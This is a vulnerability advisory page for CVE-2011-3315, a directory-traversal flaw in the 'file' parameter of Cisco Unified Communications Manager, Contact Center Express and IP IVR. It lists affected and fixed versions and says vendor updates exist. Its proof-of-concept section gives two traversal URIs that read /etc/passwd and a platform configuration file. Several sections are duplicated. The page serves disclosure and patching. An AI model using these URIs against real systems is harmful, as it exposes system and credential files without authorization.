Multiple Cisco Products 'file' Parameter (CVE-2011-3315) Directory Traversal Vulnerability
BID:50372
Info
Multiple Cisco Products 'file' Parameter (CVE-2011-3315) Directory Traversal Vulnerability
| Bugtraq ID: | 50372 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-3315 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 26 2011 12:00AM |
| Updated: | Mar 19 2015 09:12AM |
| Credit: | Sandro Gauci (EnableSecurity) and Felix Lindner (Recurity Labs) |
| Vulnerable: |
Cisco Unified IP Interactive Voice Response 8.5 Cisco Unified IP Interactive Voice Response 8.0 Cisco Unified IP Interactive Voice Response 7.x Cisco Unified IP Interactive Voice Response 6.x Cisco Unified Contact Center Express (CCX) 8.0 Cisco Unified Contact Center Express (CCX) 7.x Cisco Unified Contact Center Express (CCX) 7.0(2) Cisco Unified Contact Center Express (CCX) 7.0(1)SR4 Cisco Unified Contact Center Express (CCX) 7.0(1)SR2 Cisco Unified Contact Center Express (CCX) 6.x Cisco Unified Contact Center Express (CCX) 6.0(1)SR1 Cisco Unified Communications Manager 7.1(5B) Cisco Unified Communications Manager 7.1(5A) Cisco Unified Communications Manager 7.1(5)Su1a Cisco Unified Communications Manager 7.1(5)Su1 Cisco Unified Communications Manager 7.1(5) Cisco Unified Communications Manager 7.1(3b)su2 Cisco Unified Communications Manager 7.1(3b)su1 Cisco Unified Communications Manager 7.1(3B) Cisco Unified Communications Manager 7.1(3A)Su1a Cisco Unified Communications Manager 7.1(3a)su1 Cisco Unified Communications Manager 7.1(3A) Cisco Unified Communications Manager 7.1(3) Cisco Unified Communications Manager 7.1(2B)Su1 Cisco Unified Communications Manager 7.1(2B) Cisco Unified Communications Manager 7.1(2a)su1 Cisco Unified Communications Manager 7.1(2A) Cisco Unified Communications Manager 7.1(2) Cisco Unified Communications Manager 7.1 Cisco Unified Communications Manager 7.0(3g) Cisco Unified Communications Manager 7.0(2a)SU3 Cisco Unified Communications Manager 7.0(2A)Su2 Cisco Unified Communications Manager 7.0(2a)su1 Cisco Unified Communications Manager 7.0(2A) Cisco Unified Communications Manager 7.0(2) Cisco Unified Communications Manager 7.0(1)Su1a Cisco Unified Communications Manager 7.0(1)Su1 Cisco Unified Communications Manager 7.0 Cisco Unified Communications Manager 6.1(5)SU1 Cisco Unified Communications Manager 6.1(5) Cisco Unified Communications Manager 6.1(4A)Su2 Cisco Unified Communications Manager 6.1(4A) Cisco Unified Communications Manager 6.1(4)Su1 Cisco Unified Communications Manager 6.1(4) Cisco Unified Communications Manager 6.1(3B) Cisco Unified Communications Manager 6.1(3A) Cisco Unified Communications Manager 6.1(3) Cisco Unified Communications Manager 6.1(2)Su1a Cisco Unified Communications Manager 6.1(2) Cisco Unified Communications Manager 6.1(1B) Cisco Unified Communications Manager 6.1(1a) Cisco Unified Communications Manager 6.1(1) Cisco Unified Communications Manager 6.1 (3b)su1 Cisco Unified Communications Manager 6.1 (2)su1 Cisco Unified Communications Manager 6.1 |
| Not Vulnerable: |
Cisco Unified IP Interactive Voice Response 8.5(1)SU2 Cisco Unified IP Interactive Voice Response 8.0(2)SU3 Cisco Unified IP Interactive Voice Response 7.0(2)ES1 Cisco Unified IP Interactive Voice Response 6.0(1)SR1ES8 Cisco Unified Contact Center Express 8.5(1)SU2 Cisco Unified Contact Center Express 8.0(2)SU3 Cisco Unified Contact Center Express 7.0(2)ES1 Cisco Unified Contact Center Express 6.0(1)SR1ES8 Cisco Unified Communications Manager 8.0(3) Cisco Unified Communications Manager 7.1(5b)SU2 Cisco Unified Communications Manager 6.1(5)SU2 |
Discussion
Multiple Cisco Products 'file' Parameter (CVE-2011-3315) Directory Traversal Vulnerability
Multiple Cisco products are prone to a directory-traversal vulnerability.
Exploiting this issue will allow an attacker to read arbitrary files from locations outside of the application's current directory. This could help the attacker launch further attacks.
This issue is tracked by Cisco BugID CSCts44049 and CSCth09343.
The following products are affected:
Cisco Unified IP Interactive Voice Response
Cisco Unified Contact Center Express
Cisco Unified Communications Manager
Multiple Cisco products are prone to a directory-traversal vulnerability.
Exploiting this issue will allow an attacker to read arbitrary files from locations outside of the application's current directory. This could help the attacker launch further attacks.
This issue is tracked by Cisco BugID CSCts44049 and CSCth09343.
The following products are affected:
Cisco Unified IP Interactive Voice Response
Cisco Unified Contact Center Express
Cisco Unified Communications Manager
Exploit / POC
Multiple Cisco Products 'file' Parameter (CVE-2011-3315) Directory Traversal Vulnerability
An attacker can exploit this issue through a browser.
The following example URIs are available:
http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd
http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../usr/local/platform/conf/platformConfig.xml
An attacker can exploit this issue through a browser.
The following example URIs are available:
http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd
http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../usr/local/platform/conf/platformConfig.xml
Solution / Fix
Multiple Cisco Products 'file' Parameter (CVE-2011-3315) Directory Traversal Vulnerability
Solution:
Vendor updates are available. Please see the references for details.
Solution:
Vendor updates are available. Please see the references for details.
References
Multiple Cisco Products 'file' Parameter (CVE-2011-3315) Directory Traversal Vulnerability
References:
References: